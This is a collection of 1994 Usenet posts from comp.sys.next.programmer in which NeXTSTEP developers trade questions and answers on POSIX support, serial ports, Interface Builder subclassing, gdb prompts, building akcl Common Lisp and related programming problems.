From: v_white@ece.wisc.edu (Victor White) Newsgroups: comp.sys.next.programmer Subject: POSIX and serial ports on black?!? Date: 21 Jun 1994 01:42:55 GMT Organization: Division of Information Technology Message-ID: <2u5giv$6ca@news.doit.wisc.edu> Ahoy, There's been an occasional flury of activity on combining the tastefull grace of POSIX style serial commands on black hardware. POSIX and IB seem to be mutually exclusive. Yes black hardware has POSIX support, but not when you're using IB. Has any guru figured a system out to tie the two together? Perhaps two differently compiled programs held together with hooks or pipes. Is there a summary of knowledge hidden out there in archiveland so I don't have to reinvent the wheel? v_white@janus.ece.wisc.edu Victor White
From: kline@CS.Arizona.EDU (Nick Kline) Newsgroups: comp.sys.next.programmer Subject: graphics states and calling the init function Date: 19 Jun 1994 16:17:12 -0700 Organization: University of Arizona CS Department, Tucson AZ Message-ID: <2u2jlo$b2l@cheltenham.cs.arizona.edu> I use a gstate (graphics state) object in my application to improve performance. I have a view (which contains text) in a scrollview. Basically, I have a window of text (which I am managing, no text object) and I can scroll up and down in it. I just discovered that whenever I scroll the window up or down, or add to the length of the view, the initgstate (or whatever the init function's name is) is called. I thought the initgstate would only be called once. I do some stuff in there that is not very efficient to do over and over again. I guess it is called since the size of the view changes, or perhaps the visible portion changes, so it is called to do any necessary updating. But what about the things I set before? Can I rely on them not being changed? It appears that nothing is changed between these repeated calls. I setup some font stuff, and change some of the aspects of the fonts, like make them use the ISOLatin1 encoding. This information appears to be surviving the repeated calls, so it appears that I don't need to do this over and over again. But I am not sure. After reading the purple adobe book's discussion on gstate's, I couldn't find any mention about repeatedly calling the init function. The only thing it said was that you shouldn't change the gstate when calling nested views except for a few minor things... So, does anyone know if I can rely on my previously set info not changing, except for the view's size or the clipping box perhaps? Thanks, nick kline kline@cs.arizona.edu
Newsgroups: comp.sys.next.programmer From: sascha@anarch.ping.de (Sascha Gresk) Subject: SOLVED: Thread sets TextField's StringValue: confused Focus ? Message-ID: <1994Jun20.213324.4280@anarch.ping.de> Keywords: Thread TextField Sender: usenet@anarch.ping.de (The Usenet) Organization: LogikFabrik/WiLa Dortmund Date: Mon, 20 Jun 1994 21:33:24 GMT > Hi there ! Here is my thread which does some processing of a File > and reports the current line in a TextField. When I update other > objects in the window while the thread is running I ' ll get a > "Assertion failed: Unlocking Focus on wrong View" and some nasty > output at the wrong place... > ThanX, Sascha We found a nice workaround for that problem :) The file-processing thread writes into a shared buffer. The main thread looks from time to time to see if something changed (e.g. each second) to update the textfield. So the result is: the user can see the file-processing thread work and will even now see where it was stopped by the user. Thanx to all who tried to help !!!! Sascha
From: peter@bert.psyc.upei.ca (Beaker) Newsgroups: comp.sys.next.programmer Subject: Re: Problem - changing menu cell titles. Date: 11 Jun 1994 00:16:36 GMT Organization: University of Prince Edward Island, Charlottetown, PEI Canada Distribution: world Message-ID: <2tavp4$7ch@atlas.cs.upei.ca> References: <2t6e6k$6nq@masala.cc.uh.edu> In article <2t6e6k$6nq@masala.cc.uh.edu> cosc19vo@bart.cc.uh.edu (Naveen Puttagunta) writes: > Hello everyone, > > I am having a problem using a pull-down menu of the Interface > Builder. (Using release 3.0). > > Each item on the menu is a property which can be turned On/Off. > I want to change the titles of the menu items according to user's > selection. e.g. If the menu has "Mesh Off" as one of the items and if > the user selects that item, the name of the item should be changed to > "Mesh On". I tried it the following way : (get the title of the cell, > scan it and set a new title for the cell). > Try sending a -update message to the Menu object. This should redraw the menu with the new titles. ---- Peter 'Beaker' Burka |finger peter@bert.psyc.upei.ca U.P.E.I., Prince Edward Island, Canada |for PGP pburka@upei.ca | GCS d--- p--- c++ l u+++ e+(*) m--- s+ n- h* f- g+ w+ t+ r-- y-(*)
From: rueiwun@helium.Gas.UUG.Arizona.EDU (ruei-wun tu) Newsgroups: comp.sys.next.bugs,comp.sys.next.programmer Subject: Questions about Adaptec 1742 and 1542??? Date: 11 Jun 1994 12:36:54 GMT Organization: University of Arizona, Tucson Message-ID: <2tcb56$6sg@news.CCIT.Arizona.EDU> References: <1994Jun1.094530.1114@dart.de> Hello NeXT Fans, I have a couple of questions really annoying me. Hopefully I can gather some answers from all of you. On "NeXTAnswers #1475", it said that the Adaptec 1742 SCSI controller must be set in "Standard Mode" in order to run NS. It also mentioned that when you set Adaptec 1742 in "Standard Mode", it is compitable with Adaptec 1542. My questions are: 1. If we set 1742 in standard mode which is compatible with 1542, can 1742 still take advantage of 32bit EISA board. Or said can 1742 still has the ability to access the memory more than 16MB??? 2. Supposely one has EISA motherboard and want to choose either 1742 or 1542 controller. Since 1542 and 1742 are both using the same driver in NS, why would people pay more for using 1742 instead of using 1542 -- assuming both of them make no difference to each others. 3. I think a lot of fans know that PAS16 and Adaptec 1542 will fight each other in ISA bus motherboard. Is this going to be the same if one use both of them in EISA bus motherboard??? In another hand, assuming both 1542 and 1742 are functioning in the same way (since they are using the same driver), will 1742 and 1542 fight each other in EISA bus motherboard??? Any suggestions or answers will be so appreciated.... Rueiwun Tu
From: rueiwun@helium.Gas.UUG.Arizona.EDU (ruei-wun tu) Newsgroups: comp.sys.next.programmer Subject: Questions about Adaptec 1742 and 1542??? Date: 11 Jun 1994 12:40:32 GMT Organization: University of Arizona, Tucson Message-ID: <2tcbc0$702@news.CCIT.Arizona.EDU> References: <2sh7ml$677@nntp2.Stanford.EDU> <2shaqt$48i@crl.crl.com> Hello NeXT Fans, I have a couple of questions really annoying me. Hopefully I can gather some answers from all of you. On "NeXTAnswers #1475", it said that the Adaptec 1742 SCSI controller must be set in "Standard Mode" in order to run NS. It also mentioned that when you set Adaptec 1742 in "Standard Mode", it is compitable with Adaptec 1542. My questions are: 1. If we set 1742 in standard mode which is compatible with 1542, can 1742 still take advantage of 32bit EISA board. Or said can 1742 still has the ability to access the memory more than 16MB??? 2. Supposely one has EISA motherboard and want to choose either 1742 or 1542 controller. Since 1542 and 1742 are both using the same driver in NS, why would people pay more for using 1742 instead of using 1542 -- assuming both of them make no difference to each others. 3. I think a lot of fans know that PAS16 and Adaptec 1542 will fight each other in ISA bus motherboard. Is this going to be the same if one use both of them in EISA bus motherboard??? In another hand, assuming both 1542 and 1742 are functioning in the same way (since they are using the same driver), will 1742 and 1542 fight each other in EISA bus motherboard??? Any suggestions or answers will be so appreciated.... Rueiwun Tu
From: koen1830@w250zrz.zrz.tu-berlin.de (Andreas Koenig) Newsgroups: comp.sys.next.programmer Subject: Re: How to enable POSIX compatibility? Date: 20 Jun 1994 05:33:53 GMT Organization: mal franz, mal anna Message-ID: <2u39o1$e62@brachio.zrz.TU-Berlin.DE> References: <1994Jun17.141748.21651@cc.usu.edu> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Cc: deviate@lipschitz.sfasu.edu Fcc: /u/k/Mailboxes/NNoutgoing.mbox/mbox In article <1994Jun17.141748.21651@cc.usu.edu>, J. Kelly Cunningham <deviate@lipschitz.sfasu.edu> wrote: > >How do I enable POSIX compatibility when compiling C programs? In /NextLibrary/Documentation/NextDev/ReleaseNotes/OperatingSystem.rtf the following is stated: [begin quote] Notes Specific to Release 3.2 New Features The following new features have been added to the operating system since Release 3.1. Building POSIX applications is now supported. To compile POSIX 1003.1 conforming source, specify the -posix flag to cc. Note that POSIX kernel interfaces are not supported for NEXTSTEP applications. [end quote] Be aware, that the last sentence is shmafu! The question is, what IS a NEXTSTEP application. I have the impression, if you directly or indirectly use any symbol that starts with NX..., it is a NEXTSTEP application. --Andreas Koenig
From: jacobsen@arundel.doit.wisc.edu Newsgroups: comp.sys.next.programmer Subject: Re: Kill the inferior process (y or n)? Date: 12 Jun 1994 18:11:40 GMT Organization: Division of Information Technology Message-ID: <2tfj4s$1t3@news.doit.wisc.edu> References: <1994Jun10.200327.6547@afs.com> In article <1994Jun10.200327.6547@afs.com> Greg_Anderson@afs.com (Gregory H. Anderson) writes: > Maybe I've just been working too hard lately--and therefore even more > irritable than usual--but every time I kill my app in gdb and get the > message in the subject line, I get the urge to send hate mail to RMS. > I'll be the judge of what's inferior, you snotty little debugger! Play > off my insecurities, will you? > > Anyone else feel that way? This used to get to me (generally after hours of debugging) until I used Hexi to change the strings: arundel> gdb compiler GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.7 (NeXT 3.1), Copyright 1992 Free Software Foundation, Inc... Reading symbols from /user/jacobsen/text/personal/classes/cs/536/pa5/compiler...done. Reading symbols from /usr/shlib/libsys_s.B.shlib...done. (gdb) b main Reading in symbols for test-parser.C...done. Breakpoint 1 at 0x526e: test-parser.C:64. (gdb) run factorial.djm Starting program: /user/jacobsen/text/personal/classes/cs/536/pa5/compiler factorial.djm Breakpoint 1, main (argc=2, argv=0x3fffc28) at test-parser.C:64 64 if (argc < 2) { Current language: auto; currently c++ (gdb) kill Kill the superior process? (y or n) y ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ (gdb) quit arundel> Much better. BTW, Hexi is a very nice hex editor written by Tobias Hollrich, you can find it on ftp.informatik.uni-muenchen.de. > > -- > Gregory H. Anderson | "Internet: a giant international network > Stud Hombre Cybermuffin | of intelligent, informed computer > Anderson Financial Systems | enthusiasts, by which I mean 'people > greg@afs.com (NeXTmail OK) | without lives.'" -- Dave Barry, 2/6/94 -E --- Erik Jacobsen jacobsen@cae.wisc.edu <--finger for PGP public key
From: misha@raptor.swarthmore.edu (Misha Neverov) Newsgroups: comp.sys.next.programmer Subject: Q: dynamic loading & 'multiple defenitions' error Followup-To: comp.sys.next.programmer Date: 11 Jun 1994 13:30:22 GMT Organization: Swarthmore College Message-ID: <misha-110694092800@mac01.hicks.swarthmore.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Hi! I am writing a program which uses dynamic loading. The static part of my program is an object called runScript.m. The first dynamic module that I load is a class called GreeterWindow. When runScript loads (tries to load) GreeterWindow this is the message I get from the debugger: /*begin of debugger message*/ Error loading /home/misha/MM2/MM2.app/GreeterWindow.bundle/GreeterWindow rld(): multiple definitions of symbol _commandString /home/misha/MM2/MM2.app/MM2 definition of _commandString in section (__DATA,__data) /home/misha/MM2/MM2.app/GreeterWindow.bundle/GreeterWindow definition of _commandString in section (__DATA,__data) /*end of debugger message*/ The array 'commandString[]' which the bebugger refers to is declared (and initialized) in a header file 'CommandList.h'. CommandList.h is '#imported' by runScript.h. The header file runScript.h is, in its turn, '#imported' by GreeterWindow.h. I #import the runScript.h (header for the static part of the program) for the (dynamically loaded) object GreeterWindow.m, because the latter uses methods in (sends messages to) the static object (runScript.m). So why do I get this error? Why doesn't using #import rather than #include prevent "multiple definitions" errors from happening? I hope I made myself somewhat clear... Thanks very much to anybody who responds -- your help is appreciated! -- Misha Neverov E-mail: misha@raptor.sccs.swarthmore.edu NeXT-mail: misha@jabberwock.swarthmore.edu Voice-mail: (610)690-3912 (until Aug '94)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer From: hardy@barfly.in-ulm.de (hardy) Subject: Need help with next printing system [long] Message-ID: <1994Jun20.151450.403@barfly.in-ulm.de> Keywords: next,printer,novell Sender: hardy@barfly.in-ulm.de Organization: local UUCP site Date: Mon, 20 Jun 1994 15:14:50 GMT Hello NeXTer, i am looking for information about the next printing system. I have connected my black box to a Novell network. File system is fine but printing causes me trouble. Here is my configuration: Novell NeXT ------------------------- ------------------------- Intel 486DX2-50 NeXTstation Mono Novell NetWare 3.11 NEXTSTEP 3.2 (with all ? Patches) HP 4Si Laserprinter JetPilot 1.1 (Demo) (NO Postscript) (NetWare version and printer could not bee changed. I am root on both systems.) Since the printer couldn't understand postscript i ftped a demo version of JetPilot, a driver to emulate postscript on hp-laserprinter. But i cannot install the printer using Novells NetWareManager. Here is the error-msg.: NetWare does not support this printer type After this i installed a "phantom" JetPilot-Printer to a serial device. This seems to work (JetPilot started and the output runs to my modem ;-). After installing the printer there where some additional entries in NetInfo: Admin, Comm and Device. In Comm are the settings for serial communication, in Device for the Driver (DriverClass, DriverBundle, ...). If i added the Device entry to the Novell-generated printer, JetPilot starts up, but nothing ends in the Novell print queue. All the output went away (perhaps to /dev/nil). I played arround with /usr/lib/NextPrinter/Server/prserver. If i run prserver from the command line, all works fine (JetPilot starts), but the output went away :-( Is there any way to pipe the output from prserver back to stdout (so i can pipe it to the novell prserver) ? At last some questions: 1. Is there a manual page to prserver ? 2. How makes JetPilot it (only prserver starts it) there must be a interface, but no documentation ? 3. Any idea printing to a Novell printer without postscript ? so long... hardy -- | 'hardy' is Christoph Hartmann | " Die ewige Frage, | | smail: Herrenkellergasse 20, 89073 Ulm, Germany | die ewige Antwort ... | | email: hardy@barfly.in-ulm.de (NeXT-mail) | ich weiss es nicht. " | | Christoph.Hartmann@student.uni-ulm.de | - M. Rourke in BARFLY |
Newsgroups: comp.sys.next.software,comp.sys.next.programmer,comp.os.mach,comp.unix.msdos,comp.soft-sys.nextstep From: mcquain@teal.csn.org (Barry D. McQuain) Subject: Unix/DOS Serial I/O Message-ID: <Cr8M6n.4yE@csn.org> Sender: news@csn.org (The Daily Planet) Organization: Colorado SuperNet, Inc. Date: Sat, 11 Jun 1994 14:42:22 GMT Hi, I am having a problem sending data from a NeXT computer to a PC via a serial cable. Using C, the app on the NeXT sends the data out its serial port (9600, n, 8, 1 - defaults) and the PC recieves it. Unfortunately, the high order bit gets "set" somehow on some of the data, and the PC is having trouble receiving this "non-ascii" (>128) data. For example, If I send the letter "A" (ASCII 65), the PC receives "A" (ASCII 65). If I send the letter "C" (ASCII 67), the PC receives ASCII 195. This happens on commas and carriage returns (13 becomes 141), etc. Unfortunately, The PC program that is trying to receive this data is written in Basic, and it reads in the data using INPUT commands, and since it never sees a comma or a carriage return, it hangs. I am looking for a solution. The few suggestions so far have been: 1) Send data using 7 bits. How do I do this from the NeXT side (using C). 2) ASCII mask the data as you send it ... This hasn't worked so far. Does anyone know how to "fiddle" with the C to do this? (ioctl.h maybe?) 3) Rewrite the Basic in C. Can't, becasue its not my program and it is about 4000 lines. Please email or call directly. Fame and fortune awaits those who can help me. Thanks. Barry McQuain mcquain@csn.org W (303) 923-6500
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: Re: Subclassing and IB -- Mutually exclusive? Message-ID: <1994Jun15.061739.28925@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory References: <2tko9m$46s@tribune.usask.ca> Date: Wed, 15 Jun 1994 06:17:39 GMT In article <2tko9m$46s@tribune.usask.ca> eric@pisces (Eric Norum) writes: >>I've been working with the Interface Builder for about a year and half. >>I've got a number of applications working, but everything seems to be >>more difficult than I think it should be. >> >>Premise 1: >> The Interface Builder is supposed to assist Object Oriented Programing . >>Premise 2: >> Much of the power of Object Oriented programming is >> the ability to use existing code by subclassing. >> << stuff deleted>> >> >>Am I missing something fundamental here? It seems that many of the >>advantages of OOP are gone when using IB. Or am I just trying to use >>the available tools the wrong way? Do I have to go through all the >>effort of creating a new palette every time I want to make a little >>change to a class? >> Well, I guess I'd have to say "yes" to your second question, that is, you're using IB in the wrong way. The problems stems from what IB could be (and can be if you want to twist your brain) vs. what it is intended to be today. Since IB is currently based on a dynamic, compiled language (i.e. Objective-C) as opposed to a dynamic, incrementally compiled and interpreted language (pick your favorite), IB is not very good for subclassing or extending some class and immediately playing with it. What it *is* good at is assembling a set of objects in some given configuration for some use. This is, once you grok in fullness what a nib file is (freeze-dried objects), still quite a powerful thing, but not as powerful as you'd like. Those of us who are too impatient to wait for IB 4.0, though, can extend IB to have a scripting language built in, which, with the appropriate set of accompanying UI objects, can get us incrementally closer to what IB could be. That's what I've done in my WavesWorld palettes, and probably what other people have done with other approaches. -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
From: bil@ccrma.Stanford.EDU (Bill Schottstaedt) Newsgroups: comp.sys.next.programmer Subject: Re: Trouble with Free Common LISPs for NeXTSTEP/Intel Date: 11 Jun 1994 15:05:21 GMT Organization: Stanford University Message-ID: <2tcjrh$7pu@nntp2.Stanford.EDU> References: <2tbods$iqh@terminus.cc.gatech.edu> In article <2tbods$iqh@terminus.cc.gatech.edu> centaur@cc.gatech.edu (Anthony G. Francis) writes: > I'm trying to build a version of Common Lisp for a NeXTSTEP for Intel system. We have akcl running here on NeXTStep Intel. I'll append the instructions I've written up, although they are oriented toward getting our music programs to work, so you may want to delete the dsp/sound references. ------------------------------------------------------------------------ Modify files (included below) h/NeXT.h h/NeXT.defs c/NeXTunixsave.c c/NeXTunixfasl.c Run add-defs NeXT /Local/Lisp/kcl make -f Smakefile make make install (last line is optional -- see akcl's README) This will die with a complaint about -lc -- there are two references in unixport/makefile (generated in the run of make above) -- delete the -lc occurrences, and fire up make again. Here are the current versions of the files mentioned above (or at least the changed portions) -- the resultant akcl is known to work with CMN/CM/CLM but does not include any MIDI stuff yet. ------------------------------------------------------------------------ h/NeXT.defs # # For NeXT Operating system 3. # LBINDIR=/Local/Unix/bin OFLAG= -O LIBS= -u _SNDReadSoundfile -u _SNDStartPlaying -u _SNDWait -u _SNDFree -u _SNDStop -u _SNDSetHost -u _SNDAcquire -u _snddriver_get_device_parms -u _SNDRelease -u _snddriver_set_device_parms -u _snddriver_get_volume -u _snddriver_set_volume -u _snddriver_set_ramp -u _valloc -u _mutex_try_lock -u _mutex_wait_lock -u _cthread_detach -u _port_set_allocate -u _port_set_add -u _port_set_deallocate -u _name_server_port -u _mach_error_string -u _port_allocate -u _port_deallocate -u _mig_get_reply_port -u _msg_rpc -u _msg_send -u _mig_dealloc_reply_port -u _sscanf -lsys_s -lm LIBC= ODIR_DEBUG= -g CC= cc -O3 -DVOL=volatile -I$(AKCLDIR)/o -fwritable-strings # The option -seglinkedit is specified so that rld_load() can be used. LDCC= ld -X -seglinkedit -segprot __TEXT rwx rwx /lib/crt0.o # bcmp(), bcopy(), and bzero() are already included in the NeXT C library. LIBFILES= CFLAGS = -c $(DEFS) -I../h MAIN = ../o/main.o INITFORM=(setq compiler::*cc* "cc -O3 -DVOL=volatile -fwritable-strings") MPFILES=$(MPDIR)/mpi.o $(MPDIR)/libmport.a # Use symbolic links SYMB=-s # the make to use for saved_kcp the profiler. KCP=kcp-next ------------------------------------------------------------------------ h/NeXT.h #ifndef NeXT #define NeXT #endif #include "bsd.h" #undef SFASL #undef HAVE_AOUT #define PAGEWIDTH 12 /* The following value determines the running process size. */ #define BIG_HEAP_SIZE 0x2000000 #undef MAXPAGE #define MAXPAGE (2*16384) #undef SET_REAL_MAXPAGE #define SET_REAL_MAXPAGE \ { extern int mach_maplimit; sbrk(0); real_maxpage = mach_maplimit/PAGESIZE; } #define sbrk my_sbrk #define ADDITIONAL_FEATURES \ ADD_FEATURE("MACH"); \ ADD_FEATURE("NeXT"); \ ADD_FEATURE("NEXT"); \ ADD_FEATURE("NEXT-3.0"); \ ADD_FEATURE("I386"); \ ADD_FEATURE("TURBO-CLOSURE"); \ ADD_FEATURE("TURBO-CLOSURE-ENV-SIZE") #define CLEAR_CACHE #define UNIXSAVE "NeXTunixsave.c" #define UNIXFASL "NeXTunixfasl.c" #define SEEK_TO_END_OFILE seek_to_end_ofile #define I386 #define IEEEFLOAT /* we can use the system malloc without interference with lisp storage allocation */ #define DONT_NEED_MALLOC #ifdef IN_MAIN #include <fcntl.h> #include <sys/stat.h> #endif char *find_executable(); #define LITTLE_ENDIAN /* Begin for cmpinclude */ #define HAVE_ALLOCA #ifdef __GNUC__ #undef __BUILTIN_VA_ARG_INCR #endif /* End for cmpinclude */ ------------------------------------------------------------------------ c/NeXTunixfasl.c change the includes from #include <mach.h> #include <sys/loader.h> #include <rld.h> to #include <mach/mach.h> #include <mach-o/loader.h> #include <mach-o/rld.h> Then delete both references to asm("trap #2") -- change asm("trap #2"); /* clear cache */ call_init(entry - object_start, memory, fasl_data); to: call_init(entry - object_start, memory, fasl_data); (occurs twice). ------------------------------------------------------------------------ c/NeXTunixsave.c change the includes from: #include <mach.h> #include <sys/loader.h> to: #include <mach/mach.h> #include <mach-o/loader.h> and if you have an old version of akcl, make sure the getsectbyname declaration is changed from: extern struct section *getsectbyname(char *, char *); to: extern const struct section *getsectbyname( const char *segname, const char *sectname); ------------------------------------------------------------------------ Please let me know if this is incomplete or inaccurate. (bil@ccrma.stanford.edu)
Newsgroups: comp.sys.next.programmer From: bbum@friday.com Subject: Re: returning void instead of self Message-ID: <Cr9nAH.1Ds@friday.com> Sender: bbum@friday.com (Bill Bumgarner) Organization: Friday Software & Consulting; a virtual company References: <2ta8n9$56f@gap.cco.caltech.edu> Date: Sun, 12 Jun 1994 04:03:53 GMT Sorry this post does not have nice excerpts and such -- don't have time for that kind of niceity in the pre-EXPO rush. Anyway, I wanted to add or reply on two points: 1) While returning self does not mean that a proxy will have to be generated (obviously, the caller already has a reference to the object being called), it will require a return message to be blasted across the net -- a needless waste of time and network resources if one is returning a value that will not be used. 2) (void) methods run asyncronously; that is, as soon as the call to a method that returns void is executed, the local code continues running. If a method returns a type of id, the caller must wait until the remote code finishes executing and a value is returned before it can continue. Since the runtime environment has no idea whether or not the return of a method will be considered, there is no way to not incur a wait until return on any method that has a non-void return type. b.bum -- b.bum <bbum@friday.com> | In cyberspace.... WhiteLight Systems, INC. | ...no one can hear you laugh.
Newsgroups: comp.sys.next.programmer From: glen@instep.wimsey.bc.ca Subject: Re: Subclassing and IB -- Mutually exclusive? Message-ID: <1994Jun14.225622.817@instep.wimsey.bc.ca> Sender: usenet@instep.wimsey.bc.ca Organization: InStep Mobile Communications Inc. References: <2tko9m$46s@tribune.usask.ca> Date: Tue, 14 Jun 1994 22:56:22 GMT In article <2tko9m$46s@tribune.usask.ca> eric@pisces (Eric Norum) writes: > I've been working with the Interface Builder for about a year and half. > I've got a number of applications working, but everything seems to be > more difficult than I think it should be. > > Premise 1: > The Interface Builder is supposed to assist Object Oriented Programing . > Premise 2: > Much of the power of Object Oriented programming is > the ability to use existing code by subclassing. > > Suppose now, that I want to make a small change to one of the objects > on the IB palette -- say a Box. The changes are small enough that I could > even use a Category -- all I want to do is add a few methods. > > Using IB I can subclass Box just fine, but then I can't do anything else: > - If I try to Instantiate a new object, it won't let me select > MyBox as one of the classes. > - If I drag in a Custom View, IB will let me set the class to > MyBox, but I don't get the Box inspector when I select > the MyBox custom view. > - There's no way to `Group in MyBox'. > > Am I missing something fundamental here? It seems that many of the > advantages of OOP are gone when using IB. Or am I just trying to use > the available tools the wrong way? Do I have to go through all the > effort of creating a new palette every time I want to make a little > change to a class? > IMHO this is the greatest failing of IB. I can choose a subclass of a window or custom view that I instantiate, but I can't do the same for a button or a box. The next great failing, IMHO, is the inability to connect outlets to images and sounds. > -- > Eric Norum eric@skatter.usask.ca > Saskatchewan Accelerator Laboratory > University of Saskatchewan > Saskatoon, Canada. NeXTMail accepted.
From: biscm@info.isbiel.ch (Martin Bischoff) Newsgroups: comp.sys.next.programmer Subject: still problems with matrixes Date: 15 Jun 1994 08:23:35 GMT Organization: Biel School of Engineering, CH-2501 Biel, Switzerland Distribution: world Message-ID: <2tmdq7$b5@vega.info.isbiel.ch> Hello, we had some problems with InterfaceBuilder, that seemed very strange to us: In one of the windows of the UserInterface, we have a matrix of textCells. To access the cells of that matrix, we made a connection to the matrix. The whole matrix was bordered gray when we made the connection, so I think it should be correct. When we tried to access the matrix from the program, nothing happened. With the help of gdb we found, that the id to the matrix was always 0. We tried to make the connection in a different way, but it didn't work either. At last we made a second connection (from the Controller-Instance) to the matrix and it worked (we could access the matrix from the controller). So the question is, why is the connection to the matrix valid, when it is made from the Controller to the matrix, and invalid, when we make it from an other object? Is there anyone, who can help us with that problem? Any help would be appreciated. Thanks, Martin.
From: koen1830@w250zrz.zrz.tu-berlin.de (Andreas Koenig) Newsgroups: comp.sys.next.programmer Subject: Re: floating exception with -lposix Date: 15 Jun 1994 10:30:14 GMT Organization: mal franz, mal anna Message-ID: <2tml7m$k0q@brachio.zrz.TU-Berlin.DE> References: <CrEJ2L.6q@txnews.amd.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Fcc: /u/k/Mailboxes/NNoutgoing.mbox/mbox Apparently-To: koen1830@w203zrz.zrz.tu-berlin.de In article <CrEJ2L.6q@txnews.amd.com>, <charles.herrick@amd.com> wrote: >Hi all, >If I link with the posix library a la > cc test.c -lposix >and run a.out, I get "Floating exception." Try adding -lm. Or try `cc -posix test.c'. Cry out loud for anything that's failing with regards to POSIX. I have gone through the archives of this newsgroup, but somehow I only find these posix-no-thanx messages, that are not very constructive. The problem lies somewhere between libsys_s and libposix. Me too needs a lead through the inconveniences of -posix. The most enigmatic sentence in the Release Notes states: > Note that POSIX kernel interfaces are not supported for > NEXTSTEP applications. Is that a confession, that they just didn't make it -- POSIX? Will this be clean in NS 3.3 at least? POSIX makes more sense than just running the POSIX test suites. It doesn't sound very fair to write POSIX outside and show the wonderful features of NeXTstep, but then state, that they are mutually exclusive. Are they? I would appreciate very much, if somebody could comment on this. --Andreas Koenig
From: zet@cip.e-technik.uni-erlangen.de (Juergen Zeller) Newsgroups: comp.sys.next.programmer,comp.sys.next.misc,comp.sys.next.software Subject: [Summary] Tools for real software engineering Date: Tue, 21 Jun 1994 07:01:32 GMT Organization: EE Students Computer Pool, University of Erlangen, Germany Message-ID: <2u638cEjk2@uni-erlangen.de> Hello, last week I asked some questions about tools for OO-programming. Here are the answers: Q: Are there any NeXTSTEP CASE-tools for formal OO-design methods? A: From Dirk P. Fromhein: > Sorry, I can't help you with the CASE tools... we just don't > use them (and have found with NeXTSTEP we don't need them). Statements like this were the most frequent answers! Q: Are there any Diagram! palettes for the Booch object oriented design method? A: From Chris Cleeland: > I have one of these that I hacked together. I submitted it > to Lighthouse, so you can ask them. Q: Do you know a good version management tool? A: From Alex Blackmore: > DevMan is the best solution to date, effective GUI needs a little > improvement but basics are quit good. Q: Project Builder is a great tool for NeXTSTEP projects, but IMHO it fails for non GUI-centered code. A: I didn't know the "Tools-Project" of IB! (Hint from Art Isbell and Alexander Spohr) Q: A database is needed in nearly every application. Which solution would you recommend for a client/server environment? A: QuickBase got a very good judgement by Dirk Fromhein. Q: Developing software for non-technical users need knowledge about their special needs and preferences. Their interactive usage of a system can not always be tested in advance, so an automatic user analysis tool should monitor all important transactions with the system. Does any tool exist for the NeXTSTEP-GUI? A: None! Thanks to: Dirk P. Fromhein (jaeger@watershed.com) Chris Cleeland (cleelacj%taft.UUCP@goofus.wustl.edu) Art Isbell (art@cubisol.com) Alexander Spohr (Alexander_Spohr@dart.de) Alex Blackmore (alex@saturn.genoa.com) Bye, Juergen zet@cip.e-technik.uni-erlangen.de
Newsgroups: comp.sys.next.programmer From: bbum@friday.com Subject: Re: Kill the inferior process (y or n)? Message-ID: <CrCEn8.1uH@friday.com> Sender: bbum@friday.com (Bill Bumgarner) Organization: Friday Software & Consulting; a virtual company References: <2tfj4s$1t3@news.doit.wisc.edu> Date: Mon, 13 Jun 1994 15:49:55 GMT ummm... wouldn't have been simpler (but, admittedly, a lot less challenging) to add the following to ~/.gdbinit: set confirm off -- b.bum <bbum@friday.com> | In cyberspace.... WhiteLight Systems, INC. | ...no one can hear you laugh.
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: Launching Mail.app on login, but only if unread/new mail. Advice sought. Date: 12 Jun 1994 08:02:20 GMT Organization: San Francisco State University Message-ID: <2tefec$spt@nic-nac.CSU.net> References: <2te44d$od3@masala.cc.uh.edu> In article <2te44d$od3@masala.cc.uh.edu> pakala@tree.egr.uh.edu writes: >I want Mail.app to auto-launch on login only if I have new mail - right now I >am using Workspace to automatically launch Mail.app from the Dock. > >Since motd.app alerts me when I login that I have unread/new mail, I am sure >that there must be some way to recognize if I have received mail since I last >read my mail. The source code is publicly available, so it shouldn't be too difficult to modify it [no, I'm not volunteering] to adjust the user's Workspace DockLaunchFlags default appropriately. [Things are probably a bit more complicated on Intel systems and others with variable screen sizes. Comments?] This behavior should be enabled only by an explicit per-user default--I assume most people would not want it, but I can see how it might be useful (particularly if WM wasn't selected for autolaunch). -=EPS=-
Newsgroups: comp.sys.next.programmer From: Greg_Anderson@afs.com (Gregory H. Anderson) Subject: Kill the inferior process (y or n)? Message-ID: <1994Jun10.200327.6547@afs.com> Sender: greg@afs.com Date: Fri, 10 Jun 1994 20:03:27 GMT Maybe I've just been working too hard lately--and therefore even more irritable than usual--but every time I kill my app in gdb and get the message in the subject line, I get the urge to send hate mail to RMS. I'll be the judge of what's inferior, you snotty little debugger! Play off my insecurities, will you? Anyone else feel that way? -- Gregory H. Anderson | "Internet: a giant international network Stud Hombre Cybermuffin | of intelligent, informed computer Anderson Financial Systems | enthusiasts, by which I mean 'people greg@afs.com (NeXTmail OK) | without lives.'" -- Dave Barry, 2/6/94
